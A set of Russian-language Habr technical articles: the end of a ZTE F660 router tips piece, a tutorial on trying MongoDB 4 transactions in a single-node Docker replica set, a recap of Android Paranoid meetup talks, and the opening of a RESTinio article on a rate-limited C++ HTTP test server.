Если записей немного, то достаточно штатного способа — в разделе Applications => DNS Service => Hosts. Настройки сохраняются при перезагрузке, но каждую нужно вводить по отдельности, и занимает она приличное место в db\_user\_cfg.xml. Если же у вас собственный файл на тысячи имен, можете добавить их во временный файл hosts, расположенный в /var/tmp/. (Способ получения к нему файлового доступа – по аналогии с п.3). Работает до очередной перезагрузки.
#### 10. Как скомпилировать/запустить собственные программы на терминале?
Это вопрос уже не начинающих. Есть хардкорная статья про сборку собственного toolchain для предыдущей версии F660 – [habrahabr.ru/post/211759](http://habrahabr.ru/post/211759/) Там же описание установки torrent-клиента transmission. Только учтите, что в ZXHN уже другая начинка – вместо MIPS там стоит ARM9.
#### 11. Можно ли навесить свои функции на автозагрузку?
Очень настоятельно не рекомендую это делать. У F660 есть 2 печальные особенности:
1) Кнопка reset – это не полный сброс устройства, а всего лишь сигнал заменить файл настроек на дефолтный, она не поможет восстановить нарушенную процедуру загрузки.
2) Все коммуникационные интерфейсы поднимаются ближе к концу загрузки.
Сочетание этих 2 особенностей дает результат: **любые проблемы в загрузке – и вы получаете «кирпич»**.
Перед экспериментированием с загрузкой подумайте, действительно ли оно вам нужно. У меня, к примеру, uptime устройства достигает нескольких месяцев (собственно, я смог вспомнить только 1 перезагрузку за год не по причине применения настроек), так что просто нет потребности. | https://habr.com/ru/post/275819/ | null | ru | null |
# Как уже сейчас пощупать транзакции в MongoDB
Летом 2018 года (т.е. прямо сейчас, на момент написания данной статьи) случилось невероятное — в [MongoDB](https://www.mongodb.com/) завезли честные [ACID транзакции](https://ru.wikipedia.org/wiki/ACID). С выходом четвёртой версии этой документ-ориентированной [СУБД](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%83%D0%BF%D1%80%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F_%D0%B1%D0%B0%D0%B7%D0%B0%D0%BC%D0%B8_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85), её можно использовать для чуть более серьёзных приложений.
Для тех, кто в танке, в двух словах: транзакции позволяют нам провести серию изменений в нескольких документах и сохранить их разом, либо так же разом отменить все вносимые в рамках транзакции изменения, если что-то пошло не так, либо произошел сбой в приложении.
К сожалению, разработчику воспользоваться этой супер-фичей не так-то просто. Ниже я расскажу почему, и что с этим всем делать.
Если открыть документацию к СУБД на разделе [Транзакции](https://docs.mongodb.com/master/core/transactions/), можем увидеть следующую ремарку:
> Multi-document transactions are available for replica sets only. Transactions for sharded clusters are scheduled for MongoDB 4.2
Это нам говорит о том, что простой сервер MongoDB не поддерживает транзакции, только кластер в режиме **replica set**. Поддержка в **sharded** кластерах также будет позже, в версии 4.2.
При этом, обычный сервер даст нам начать транзакцию, сохранить её, или отменить, но ничего в рамках неё сделать не получится, будет выведена примерно такая ошибка:
```
WriteCommandError({
"ok" : 0,
"errmsg" : "Transaction numbers are only allowed on a replica set member or mongos",
"code" : 20,
"codeName" : "IllegalOperation"
})
```
К счастью, каждый может запустить у себя кластер MongoDB, состоящий из одного сервера. На своих машинах, на которых я занимаюсь разработкой, все СУБД я запускаю в [docker](http://docker.com/) контейнерах. Например, запуск обычного сервера MongoDB выглядит так:
```
docker run -v ~/mongo/:/data/db --name mongo --restart=always -p 27017:27017 -d mongo mongod --smallfiles
```
Разберём ключи запуска:
* **-v ~/mongo/:/data/db** означает примонтировать локальную директорию *~/mongo/* в */data/db* контейнера, таким образом, сама база будет храниться на хост-машине, что позволит нам удалять запущенный контейнер, обновлять версии и т.д. с сохраненим наших данных;
* **--name mongo** задаёт имя контейнеру;
* **--restart=always** говорит о том, что при любых падениях сервиса в контейнере, его следует перезапустить, а так же, стартовать контейнер после загрузки операционной системы;
* **-p 27017:27017** «прокидывает» порт на хост машину;
* **-d** указывает на то, что нужно запустить контейнер в виде демона;
* **mongo** — имя образа для запуска контейнера;
* **mongod --smallfiles** — команда для запуска сервиса в контейнере.
Как запускать простой сервер, я привёл просто для справки. Теперь давайте разбираться, что необходимо сделать для запуска сервера, поддерживающего транзакции.
Первым делом, следует создать новую сеть внутри докера, в которой будут работать все серверы нашего кластера. Да, я писал выше, что сервер будет один, но сеть нужно создать обязательно, иначе ничего не получится.
```
docker network create mongo-cluster
```
Далее в параметрах запуска контейнера нужно указать использование новой сети *--net mongo-cluster*, а также передать параметр серверу, для работы в режиме **replica set:** *--replSet rs0*. Также, я намеренно опустил ключ *--restart=always*, т.к. не всегда использую MongoDB в работе в настоящее время и не хочу, чтобы она стартовала вместе с операционной системой.
```
docker run -v ~/mongo/:/data/db --name mongo -p 27017:27017 -d mongo mongod --smallfiles --replSet rs0
```
Отлично, контейнер запущен, в чем мы можем убедиться, выполнив команду *docker ps* и увидев примерно следующее:
```
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
2292d7e0778b mongo "docker-entrypoint.s…" About a minute ago Up About a minute 0.0.0.0:27017->27017/tcp mongo
```
Далее нам нужно инициализировать кластер, для этого войдём в консоль запущенного сервера, создадим конфигурацию нашего кластера и проведём инициализацию:
```
docker exec -it mongo mongo
# output omited #
> config = {
"_id" : "rs0",
"members" : [
{
"_id" : 0,
"host" : "mongo:27017"
}
]
}
> rs.initiate(config)
{
"ok" : 1,
"operationTime" : Timestamp(1531248932, 1),
"$clusterTime" : {
"clusterTime" : Timestamp(1531248932, 1),
"signature" : {
"hash" : BinData(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAA="),
"keyId" : NumberLong(0)
}
}
}
rs0:SECONDARY>
rs0:PRIMARY>
```
Готово! Мы получили кластер из одного сервера MongoDB. Теперь можно проверить, что всё работает, как ожидается.
```
rs0:PRIMARY> session = db.getMongo().startSession()
session { "id" : UUID("7eb81006-983f-4398-adc7-5ed23e027377") }
rs0:PRIMARY> database = session.getDatabase("test")
test
rs0:PRIMARY> // Создадим несколько документов
rs0:PRIMARY> database.col.insert({name: "1"})
WriteResult({ "nInserted" : 1 })
rs0:PRIMARY> database.col.insert({name: "2"})
WriteResult({ "nInserted" : 1 })
rs0:PRIMARY> database.col.insert({name: "3"})
WriteResult({ "nInserted" : 1 })
rs0:PRIMARY> database.col.insert({name: "4"})
WriteResult({ "nInserted" : 1 })
rs0:PRIMARY> // Посмотрим, что у нас получилось
rs0:PRIMARY> database.col.find({})
{ "_id" : ObjectId("5b45026edc396f534f11952f"), "name" : "1" }
{ "_id" : ObjectId("5b450272dc396f534f119530"), "name" : "2" }
{ "_id" : ObjectId("5b450274dc396f534f119531"), "name" : "3" }
{ "_id" : ObjectId("5b450276dc396f534f119532"), "name" : "4" }
rs0:PRIMARY> // Начинаем транзакцию
rs0:PRIMARY> session.startTransaction()
rs0:PRIMARY> // Изменим один документ
rs0:PRIMARY> database.col.update({name: "4"}, {name: "44"})
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
rs0:PRIMARY> // Проверим изменения
rs0:PRIMARY> database.col.find({})
{ "_id" : ObjectId("5b45026edc396f534f11952f"), "name" : "1" }
{ "_id" : ObjectId("5b450272dc396f534f119530"), "name" : "2" }
{ "_id" : ObjectId("5b450274dc396f534f119531"), "name" : "3" }
{ "_id" : ObjectId("5b450276dc396f534f119532"), "name" : "44" }
rs0:PRIMARY> // Можно открыть соседний терминал и убедиться в другой сесии, что документ выглядит по-прежнему:
rs0:PRIMARY> // { "_id" : ObjectId("5b450276dc396f534f119532"), "name" : "4" }
rs0:PRIMARY> // Сохраняем изменения
rs0:PRIMARY> session.commitTransaction()
rs0:PRIMARY> // Проверяем результат
rs0:PRIMARY> database.col.find({})
{ "_id" : ObjectId("5b45026edc396f534f11952f"), "name" : "1" }
{ "_id" : ObjectId("5b450272dc396f534f119530"), "name" : "2" }
{ "_id" : ObjectId("5b450274dc396f534f119531"), "name" : "3" }
{ "_id" : ObjectId("5b450276dc396f534f119532"), "name" : "44" }
rs0:PRIMARY> // Попробуем изменить несколько документов
rs0:PRIMARY> session.startTransaction()
rs0:PRIMARY> database.col.update({name: "44"}, {name: "42"})
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
rs0:PRIMARY> database.col.find({})
{ "_id" : ObjectId("5b45026edc396f534f11952f"), "name" : "1" }
{ "_id" : ObjectId("5b450272dc396f534f119530"), "name" : "2" }
{ "_id" : ObjectId("5b450274dc396f534f119531"), "name" : "3" }
{ "_id" : ObjectId("5b450276dc396f534f119532"), "name" : "42" }
rs0:PRIMARY> database.col.update({name: "1"}, {name: "21"})
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
rs0:PRIMARY> database.col.find({})
{ "_id" : ObjectId("5b45026edc396f534f11952f"), "name" : "21" }
{ "_id" : ObjectId("5b450272dc396f534f119530"), "name" : "2" }
{ "_id" : ObjectId("5b450274dc396f534f119531"), "name" : "3" }
{ "_id" : ObjectId("5b450276dc396f534f119532"), "name" : "42" }
rs0:PRIMARY> session.commitTransaction()
rs0:PRIMARY> // Проверяем результат
rs0:PRIMARY> database.col.find({})
{ "_id" : ObjectId("5b45026edc396f534f11952f"), "name" : "21" }
{ "_id" : ObjectId("5b450272dc396f534f119530"), "name" : "2" }
{ "_id" : ObjectId("5b450274dc396f534f119531"), "name" : "3" }
{ "_id" : ObjectId("5b450276dc396f534f119532"), "name" : "42" }
rs0:PRIMARY> // А теперь убедимся, что работает отмена изменений
rs0:PRIMARY> session.startTransaction()
rs0:PRIMARY> database.col.update({name: "21"}, {name: "1"})
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
rs0:PRIMARY> database.col.find({})
{ "_id" : ObjectId("5b45026edc396f534f11952f"), "name" : "1" }
{ "_id" : ObjectId("5b450272dc396f534f119530"), "name" : "2" }
{ "_id" : ObjectId("5b450274dc396f534f119531"), "name" : "3" }
{ "_id" : ObjectId("5b450276dc396f534f119532"), "name" : "42" }
rs0:PRIMARY> // Отменим изменения
rs0:PRIMARY> session.abortTransaction()
rs0:PRIMARY> database.col.find({})
{ "_id" : ObjectId("5b45026edc396f534f11952f"), "name" : "21" }
{ "_id" : ObjectId("5b450272dc396f534f119530"), "name" : "2" }
{ "_id" : ObjectId("5b450274dc396f534f119531"), "name" : "3" }
{ "_id" : ObjectId("5b450276dc396f534f119532"), "name" : "42" }
rs0:PRIMARY> // Отлично! Данные вернулись в прежнее состояние!
rs0:PRIMARY>
```
Таким образом, совершенно не напрягаясь, можно попробовать монговские транзакции уже сейчас без запуска многосерверного кластера. Советую заглянуть в [документацию](https://docs.mongodb.com/master/core/transactions/) и прочитать об ограничениях транзакций. Например о том, что транзакции «живут» не более 1 минуты, если не успеть сохранить изменения, они будут отменены.
P.S.: целью данной статьи не является обучение пользованию докером или работе с монгой, а лишь быстрый способ попробовать новые инструменты этой интересной СУБД. | https://habr.com/ru/post/417131/ | null | ru | null |
# [Видео] Доклады с митапа Android Paranoid
Android почти исполнилось десять лет.
Мы решили отметить это праздничным чаепитием со всеми, кто пришел в питерский офис Яндекса на второй митап Android Paranoid. Сказано — сделано. К нашему сожалению, маршмеллоу, шоколадное печенье и желейные бобы закончились еще 28 марта.
Вместо них — доклады, записанные на видео, и короткая выжимка полезной информации для Android-разработчиков. Под катом о том,
* что происходит после нажатия на иконку приложения;
* как перевести приложение на Kotlin и уместиться в 300 строк кода;
* как менялись инструменты фоновой работы в Android;
* как быстро получить анимации в RecyclerView.
### Про анимации в RecyclerView
Данил Терновых из Яндекс.Денег рассказал о том, как быстро и без затрат получить анимации в RecyclerView.
Для тех, кто хочет попробовать их в работе — демо [на GitHub](https://github.com/palmut/CustomLayoutManager2). Подробности реализации — в видео.
### «Что происходит после тапа на иконку приложения,
И даже чуть раньше?», — рассказал Владимир Теблоев из Сбербанк-Технологий. Рекомендуем посмотреть видео если вы думали, что вся жизнь в Android ограничивается вьюхами и активити, и ничего не знали про работу ядра, загрузчика, далвик, и все время задавались вопросом — зачем андроиду зигота? Для заинтересовавшихся — выжимка в трех эпизодах.
**Эпизод 1 — Уровни системы и Zygote**
Давным-давно инженеры молодой мобильной ОС спроектировали четыре уровня работы системы:
* ядро с драйверами и Binder;
* корневые библиотеки, библиотеки ОС и Dalvik;
* Application Framework, неизменяемые компоненты системы — контент-провайдеры, активити-менеджеры и т.д.;
* Пользовательские приложения.
Чуть менее давно Dalvik превратился в Android Runtime, но сути процесса это не изменило — после тапа на иконку Launcher получает сигнал, передает его в менеджер активностей, тот передается в Zygote, а она создает новое приложение.
Zygote — демон, который запускается при старте системы и инициализирует первичную виртуальную машину. Zygote позволяет создавать процессы для любых приложений в Android, клонируя себя и корневые библиотеки, которые необходимы для запуска всех приложений. Так экономятся время и память, потому что в первичном экземпляре Zygote уже инициализированы все нужные библиотеки. Останется только использовать Copy-on-Write и изменить ProcessID.
Слева — первичный экземпляр, в середине — Zygote, отвечающая за компоненты Android, справа — наше приложение.
**Эпизод 2 — Жизненный цикл и взаимодействие процессов**
В Android существуют пять типов процессов и три приоритета, которые им назначаются.
*Критический приоритет* назначается активным процессам — тем, с которыми пользователь взаимодействует прямо сейчас. Это может быть открытая активити или музыкальный плеер в UI.
*Высокий приоритет* обычно получают видимые процессы, например, активити, перекрытые другими. Если на активные процессы будет не хватать памяти, видимый процесс завершится. К тому же приоритету относятся служебные процессы, с которыми пользователь не взаимодействует — они отвечают за загрузку данных, синхронизацию и т.д.
Процессы *низкого приоритета* относятся к уже остановленным активити. Android сортирует такие процессы в порядке запуска и хранит в памяти, чтобы завершать их в порядке от старых к новым. Последняя категория — «зомби-процессы» — в них может быть инициализирован какой-то поток, но все компоненты жизненного цикла уже уничтожены.
Основной способ взаимодействия процессов — IPC через Binder. Это драйвер, через который работают все корневые структуры Android. Модель взаимодействий — на схеме ниже.
Предположим, что активити в процессе А должна получить данные из другого процесса. Метод Foo() обращается к Binder, который, в свою очередь, сериализует и упаковывает входные данные и передает целевому процессу для обработки. Затем нужные данные десериализуются, процесс Б что-то с ними делает и выполняет операции в обратном порядке.
Отдельно Владимир рассказал обо всех этапах создания активностей в Android. Все детали — в видео.
### «Пользователь хочет 60 FPS,
Для этого и нужна фоновая работа».
Владимир Иванов из EPAM уже семь лет пишет под Android и iOS и успел похоронить Windows Phone. Владимир рассказал об эволюции инструментов для выполнения задач вне главного потока на Android. Речь о цепочке — AsyncTask, Loaders, Executors, EventBus, RxJava, Coroutines в Kotlin.
В докладе очень много примеров, здесь — малая часть.
**Итерация 1 — AsyncTask**
Допустим, мы пишем приложение, которое показывает прогноз погоды. Последовательность действий примерно следующая:
1. Определяем метод DoInBackground();
2. С помощью http-клиента делаем запрос на сервер;
3. Получаем и парсим ответ;
4. Показываем пользователю.
На последнем этапе возникает сложность — мы не можем просто взять и вернуть ответ с фона на UI-поток. Если UI одновременно использует другие потоки, приходится продумывать костыли и сложные блокировки. Чтобы этого не делать, разработчики интерфейсов рекомендуют обновляться только с UI-потока.
Соответственно, нужен способ выполнить что-то на UI. В AsyncTask для этого используется метод onPostExecute, его и используем.
```
public class LoadWeatherForecastTask
extends AsyncTask < String,
Integer,
Forecast > {
public void onPostExecute(Forecast forecast) {
mTemperatureView.setText(forecast.getTemp());
}
}
```
У этого подхода одна большая проблема и несколько минусов — AsyncTask умерли, за исключением production-проектов, которым больше пяти лет.
А минусы такие:
1) Много кода для сетевых запросов;
2) AsyncTask не знают ничего про жизненный цикл активностей и потенциально ведут к утечкам памяти;
3) При смене конфигурации на лету (например, экран перевернулся) нужно перевыполнить запрос.
**Итерация 2 — Loaders**
С Android 3.0 пришли Loaders — команда Android придумала их, чтобы решить проблемы AsyncTask.
```
class WeatherForecastLoader(context: Context) : AsyncTaskLoader < WeatherForecast > (context) {
override fun loadInBackground() : WeatherForecast {
try {
Thread.sleep(5000)
} catch(e: InterruptedException) {
return WeatherForecast("", 0F, "")
}
return WeatherForecast("Saint-Petersburg", 20F, "Sunny")
}
}
```
В частности, речь о повторном использовании результата при смене конфигурации. Проблема решается так:
1) LoaderManager, привязанный к активности, хранит ссылки на несколько Loader в специальной структуре;
2) Активность сохраняет все LoaderManager внутри NonConfigurationInstances;
3) При создании новой активности система передает в нее данные из NonConfigurationInstances;
4) Активность восстанавливает LoaderManager со всеми Loader.
Минусы:
1) Все еще много кода;
2) Интерфейсы все еще сложные, а классы все еще абстрактные;
3) Loaders — платформенный API Android, а значит, их нельзя переиспользовать на чистой Java.
**Итерация 3 — EventBus и ThreadPoolExecutors**
С появлением ThreadPoolExecutors передача данных с фона на UI стала выглядеть так:
1) Заводим класс Background, а в нем — переменную Service;
2) Инициализируем этот класс в ScheduledThreadPoolExecutor с нужным нам размером;
3) Пишем вспомогательные методы, которые делают класс runnable или callable.
```
public class Background {
private val mService = ScheduledThreadPoolExecutor(5)
fun execute(runnable: Runnable) : Future < *>{
return mService.submit(runnable)
}
fun < T > submit(runnable: Callable < T > ) : Future < T > {
return mService.submit(runnable)
}
}
```
Кроме выполнения на фоне, все еще нужно возвращать результат на UI. Для этого пишем handler и метод, который что-то постит на UI-треде.
```
public class Background {…private lateinit
var mUiHandler: Handler
public fun postOnUiThread(runnable: Runnable) {
mUiHandler.post(runnable)
}
}
```
Не весь UI должен знать, что какой-то конкретный метод выполнился. Чтобы разделить ответственность, придумали EventBus. Это способ передачи событий из фонового потока на UI, при котором на общую шину подключены несколько слушателей, которые и обрабатывают эти события.
Есть несколько готовых реализаций EventBus. Некоторые из них — Google Guava, Otto и GreenBot Eventbus.
Из минусов:
1. Источник данных о событии ничего не знает о том, как оно должно обрабатываться;
2. По опыту докладчика, через некоторое время код с EventBus становится невозможно поддерживать.
**Итерация четвертая — RxJava, или «Хватит это терпеть!»**
Кто-то должен был придумать удобный инструмент для фоновой работы. В итоге у нас есть RxJava — большой фреймворк для работы с потоками событий.
Предположим, мы пишем код, который должен авторизовываться на GitHub. Нужно завести по методу на каждую нужную операцию (в нашем случае — логин и получение списка репозиториев).
```
interface ApiClientRx {
fun login(auth: Authorization)
: Single < GithubUser >
fun getRepositories(reposUrl: String, auth: Authorization)
: Single < List < GithubRepository >>
}
```
Результатом выполнения будет Single — поток из нуля или одного события. Итог работы — интерфейс из двух методов, которые возвращают все, что нужно пользователю.
**Минусы:**
1. Крутая кривая обучения, учить долго и сложно;
2. Много операторов, разницу между которыми сложно понять;
3. На простой код из двух запросов и двух операторов создается около 20 объектов, что ведет к избыточному использованию памяти;
4. Нерелевантные stacktrace, из 30 строк только одна может относиться к вашему коду.
**Плюсы:**
1. RxJava — стандарт де-факто. Владимир провел опрос в твиттере и выяснил, что 65% разработчиков в новых проектах будут использовать RxJava;
2. Мощный API;
3. RxJava — фреймворк с открытым исходным кодом, у которого есть большое сообщество;
4. Код на RxJava легко покрывается юнит-тестами.
**Итерация пятая — Coroutines**
Coroutines — библиотека для фоновой работы с поддержкой внутри языка Kotlin.
**Ее плюсы:**
1. Не блокирующий подход — основной поток выполняется во время фоновой работы и встраивает в себя результаты по мере выполнения;
2. Асинхронный код в синхронном стиле
```
private fun attemptLogin() {
launch(UI) {
val auth = BasicAuthorization(login, pass) try {
showProgress(true) val userInfo = login(auth).await() val repoUrl = userInfo.repos_url val list = getRepositories(repoUrl, auth).await() showRepositories(this@LoginActivity, list.map {
it - >it.full_name
})
} catch(e: RuntimeException) {
Toast.makeText(this@LoginActivity, e.message, LENGTH_LONG).show()
} finally {
showProgress(false)
}
}
}
```
3) Средства языка вместо операторов;
4) Просто изучать — кривая обучения почти не кривая;
5) После небольшого обдумывания юнит-тесты становятся почти такими же, как для синхронного кода.
**Минусы:**
1) Недавно вышли из статуса экспериментальных;
2) Это не часть языка, а библиотека;
3) Не для всего есть адаптеры;
4) Coroutines — не замена RxJava. Они не сильно помогут в сложных случаях со сложным потоком событий.
Остальное про Coroutines (включая примеры) лучше послушать в докладе:
### Как уместить код в 300 строк, программируя на Kotlin
Год назад, на Google IO 2017 анонсировали то, что Kotlin стал официальным языком Android. Доклад Юрия Чечеткина из Альфа-Банка о том, как начать переезжать на новый язык, сократить классы до 300 строк и не сойти с ума.
Доклад — практический ликбез по тому, как писать компактно и красиво. Он ориентирован на продвинутую аудиторию, которая знает основные особенности Kotlin.
В докладе очень много примеров использования и сравнений кода на двух языках, поэтому здесь приведем только интересные факты и выводы.
**Основные проблемы с миграцией на Kotlin:**
1. Legacy-код на Java. Большие классы на несколько тысяч строк кода очень сложны для конвертации средствами среды разработки;
2. Зависимости — Lombok, Stream API и т.д.;
3. Завышенные требования к коду внутри команды. Проводятся регулярные автоматические проверки кода на ограничение в 300 строк и code review;
4. Kotlin — новый язык, и сложно сформулировать требования, пока нет единых конвенций;
5. Kotlin компилируется дольше;
6. Синтаксический сахар — «большая сила, но большая ответственность».
**Выводы:**
* Спустя год использования Kotlin стало меньше кода — он стал чище, стало удобнее делать code review;
* Нет старых методов Java, нет лишних зависимостей, только стандартные возможности языка;
* Меньше костылей и багов;
* Больше возможностей — некоторые вещи, реализуемые на Kotlin, невозможно написать на Java.
Остальное — в видео.
> Следите за мероприятиями и буднями команды Я.Денег в [ВК](http://vk.com/yamoneywork), [фейсбуке](http://facebook.com/yamoneywork) и [инстаграме](http://instagram.com/yamoneywork).
>
> Все конференции и митапы Яндекса — [на Я.Встречах](http://events.yandex.ru). | https://habr.com/ru/post/353370/ | null | ru | null |
# RESTinio — это асинхронный HTTP-сервер. Простой пример из практики: отдача большого объема данных в ответ
Недавно мне довелось поработать над приложением, которое должно было контролировать скорость своих исходящих подключений. Например, подключаясь к одному URL приложение должно было ограничить себя, скажем, 200KiB/sec. А подключаясь к другому URL — всего 30KiB/sec.
Самым интересным моментом здесь оказалось тестирование этих самых ограничений. Мне потребовался HTTP-сервер, который бы отдавал трафик с какой-то заданной скоростью, например, 512KiB/sec. Тогда бы я мог видеть, действительно ли приложение выдерживает скорость 200KiB/sec или же оно срывается на более высокие скорости.
Но где взять такой HTTP-сервер?
Поскольку я имею некоторое отношение к встраиваемому в С++ приложения HTTP-серверу [RESTinio](https://github.com/stiffstream/restinio), то не придумал ничего лучше, чем быстренько набросать на коленке простой тестовый HTTP-сервер, который способен отдавать клиенту длинный поток исходящих данных.
О том, насколько это было просто и хотелось бы рассказать в статье. Заодно узнать в комментариях, действительно ли это просто или же я сам себя обманываю. В принципе, данную статью можно рассматривать как продолжение предыдущей статьи про RESTinio под названием ["RESTinio — это асинхронный HTTP-сервер. Асинхронный"](https://habr.com/post/451728/). Посему, если кому-то интересно прочитать о реальном, пусть и не очень серьезном применении RESTinio, то милости прошу под кат.
Общая идея
==========
Общая идея упомянутого выше тестового сервера очень проста: когда клиент подключается к серверу и выполняет HTTP GET запрос, то взводится таймер, срабатывающий раз в секунду. Когда таймер срабатывает, то клиенту отсылается очередной блок данных заданного размера.
Но все несколько сложнее
------------------------
Если клиент вычитывает данные с меньшим темпом, нежели отсылает сервер, то просто отсылать по N килобайт раз в секунду не есть хорошая идея. Поскольку данные начнут скапливаться в сокете и ни к чему хорошему это не приведет.
Поэтому при отсылке данных желательно на стороне HTTP-сервера контролировать готовность сокета к записи. Пока сокет готов (т.е. в нем не скопилось еще слишком много данных), то новую порцию отсылать можно. А вот если не готов, то нужно подождать пока сокет не перейдет в состояние готовности к записи.
Звучит разумно, но ведь операции ввода-вывода скрыты в потрохах RESTinio… Как тут узнать, можно ли записывать следующую порцию данных или нет?
Из данной ситуации можно выйти, если использовать [after-write нотификаторы](https://stiffstream.com/en/docs/restinio/0.5/responsebuilder.html#notificators), которые есть в RESTinio. Например, мы можем написать так:
```
void request_handler(restinio::request_handle_t req) {
req->create_response() // Начинаем формировать ответ.
... // Наполняем ответ содержимым.
.done([](const auto & ec) {
... // Вот этот код будет вызван когда запись ответа закончится.
});
}
```
Лямбда, переданная в метод `done()` будет вызвана когда RESTinio завершит запись исходящих данных. Соответственно, если сокет какое-то время был не готов к записи, то лямбда будет вызвана не сразу, а после того, как сокет придет в должное состояние и примет все исходящие данные.
За счет использования after-write нотификаторов логика работы тестового сервера будет такой:
* отсылаем очередную порцию данных, вычисляем время, когда нам нужно было бы отослать следующую порцию при нормальном развитии событий;
* вешаем after-write нотификатор на очередную порцию данных;
* когда after-write нотификатор вызывается, мы проверяем, наступило ли время отсылки следующей порции. Если наступило, то сразу же инициируем отсылку следующей порции. Если не наступило, то взводим таймер.
В результате получится, что как только запись начнет притормаживать, отсылка новых данных приостановится. И возобновиться когда сокет будет готов принимать новые исходящие данные.
И еще немного сложного: chunked\_output
---------------------------------------
RESTinio поддерживает [три способа формирования ответа на HTTP-запрос](https://stiffstream.com/en/docs/restinio/0.5/responsebuilder.html). Самый простой способ, который применяется по умолчанию, в данном случае не подходит, т.к. мне требуется практически бесконечный поток исходящих данных. И такой поток, естественно, нельзя отдать в единственный вызов метода `set_body`.
Поэтому в описываемом тестовом сервере используется т.н. *chunked\_output*. Т.е. при создании ответа я указываю RESTinio, что ответ будет формироваться частями. После чего просто периодически вызываю методы `append_chunk` для добавления к ответу очередной части и `flush` для записи накопленных частей в сокет.
А давайте уже посмотрим в код!
==============================
Пожалуй, достаточно уже вступительных слов и пора перейти к рассмотрению самого кода, который можно найти [в этом репозитории](https://github.com/stiffstream/restinio-long-output-sample). Начнем с функции `request_processor`, которая вызывается для обработки каждого корректного HTTP-запроса. При этом углубимся в те функции, которые из `request_processor` вызываются. Ну а затем уже посмотрим, как именно `request_processor` ставится в соответствие тому или иному входящему HTTP-запросу.
Функция request\_processor и её подручные
-----------------------------------------
Функция `request_processor` вызывается для обработки нужных мне HTTP GET запросов. Ей в качестве аргументов передаются:
* Asio-шный io\_context, на котором ведется вся работа (он потребуется, например, для взведения таймеров);
* размер одной части ответа. Т.е. если мне нужно отдавать исходящий поток с темпом в 512KiB/sec, то в качестве этого параметра будет передано значение 512KiB;
* количество частей в ответе. На случай, если поток должен иметь какую-то ограниченную длину. Например, если нужно отдавать поток с темпом 512KiB/sec в течении 5 минут, то в качестве этого параметра будет передано значение 300 (60 блоков в минуту в течении 5 минут);
* ну и сам входящий запрос для обработки.
Внутри `request_processor` создается объект с информацией о запросе и параметрах его обработки, после чего эта самая обработка и начинается:
```
void request_processor(
asio_ns::io_context & ctx,
std::size_t chunk_size,
std::size_t count,
restinio::request_handle_t req) {
auto data = std::make_shared(
ctx,
chunk\_size,
req->create\_response(),
count);
data->response\_
.append\_header(restinio::http\_field::server, "RESTinio")
.append\_header\_date\_field()
.append\_header(
restinio::http\_field::content\_type,
"text/plain; charset=utf-8")
.flush();
send\_next\_portion(data);
}
```
Тип `response_data`, содержащий все относящиеся к запросу параметры, выглядит следующим образом:
```
struct response_data {
asio_ns::io_context & io_ctx_;
std::size_t chunk_size_;
response_t response_;
std::size_t counter_;
response_data(
asio_ns::io_context & io_ctx,
std::size_t chunk_size,
response_t response,
std::size_t counter)
: io_ctx_{io_ctx}
, chunk_size_{chunk_size}
, response_{std::move(response)}
, counter_{counter}
{}
};
```
Тут нужно заметить, что одна из причин появления структуры `response_data` состоит в том, что объект типа `restinio::response_builder_t` (а именно этот тип спрятан за коротким псевдонимом `response_t`) является moveable-, но не copyable-типом (по аналогии с `std::unique_ptr`). Поэтому этот объект нельзя просто так захватить в лямбда-функции, которая затем оборачивается в `std::function`. Но если объект-response поместить в динамически созданный экземпляр `response_data`, то умный указатель на экземпляр `reponse_data` уже можно без проблем захватывать в лямбда-функции с последующим сохранением этой лямбды в `std::function`.
### Функция send\_next\_portion
Функция `send_next_portion` вызывается каждый раз, когда требуется отослать клиенту очередную часть ответа. Ничего сложного в ней не происходит, поэтому выглядит она достаточно просто и лаконично:
```
void send_next_portion(response_data_shptr data) {
data->response_.append_chunk(make_buffer(data->chunk_size_));
if(1u == data->counter_) {
data->response_.flush();
data->response_.done();
}
else {
data->counter_ -= 1u;
data->response_.flush(make_done_handler(data));
}
}
```
Т.е. отсылаем очередную часть. И, если эта часть была последней, то завершаем обработку запроса. А если не последняя, то в метод `flush` передается after-write нотификатор, который создается, пожалуй, наиболее сложной функцией данного примера.
### Функция make\_done\_handler
Функция `make_done_handler` отвечает за создание лямбды, которая будет передана в RESTinio в качестве after-write нотификатора. Этот нотификатор должен проверить, завершилась ли запись очередной части ответа успешно. Если да, то нужно разобраться, следует ли следующую часть отослать сразу же (т.е. были "тормоза" в сокете и темп отсылки выдерживать не получается), либо же после некоторой паузы. Если нужна пауза, то она обеспечивается через взведение таймера.
В общем-то, несложные действия, но в коде получается лямбда внутри лямбды, что может смутить людей, не привыкших к "современному" С++. Которому не так уж и мало лет чтобы называться современным ;)
```
auto make_done_handler(response_data_shptr data) {
const auto next_timepoint = steady_clock::now() + 1s;
return [=](const auto & ec) {
if(!ec) {
const auto now = steady_clock::now();
if(now < next_timepoint) {
auto timer = std::make_shared(data->io\_ctx\_);
timer->expires\_after(next\_timepoint - now);
timer->async\_wait([timer, data](const auto & ec) {
if(!ec)
send\_next\_portion(data);
});
}
else
data->io\_ctx\_.post([data] { send\_next\_portion(data); });
}
};
}
```
На мой взгляд, основная сложность в этом коде проистекает из-за особенностей создания и "взвода" таймеров в Asio. По-моему, получается как-то слишком уж многословно. Но тут уж что есть, то есть. Зато не нужно никаких дополнительных библиотек привлекать.
Подключение express-like роутера
--------------------------------
Показанные выше `request_processor`, `send_next_portion` и `make_done_handler` в общем-то и составляли самую первую версию моего тестового сервера, написанного буквально за 15 или 20 минут.
Но через пару дней использования этого тестового сервера оказалось, что в нем есть серьезный недостаток: он всегда отдает ответный поток с одинаковой скоростью. Скомпилировал со скоростью 512KiB/sec — отдает всем 512KiB/sec. Перекомпилировал со скоростью 20KiB/sec — будет отдавать всем 20KiB/sec и никак иначе. Что было неудобно, т.к. стало нужно иметь возможность получать ответы разной "толщины".
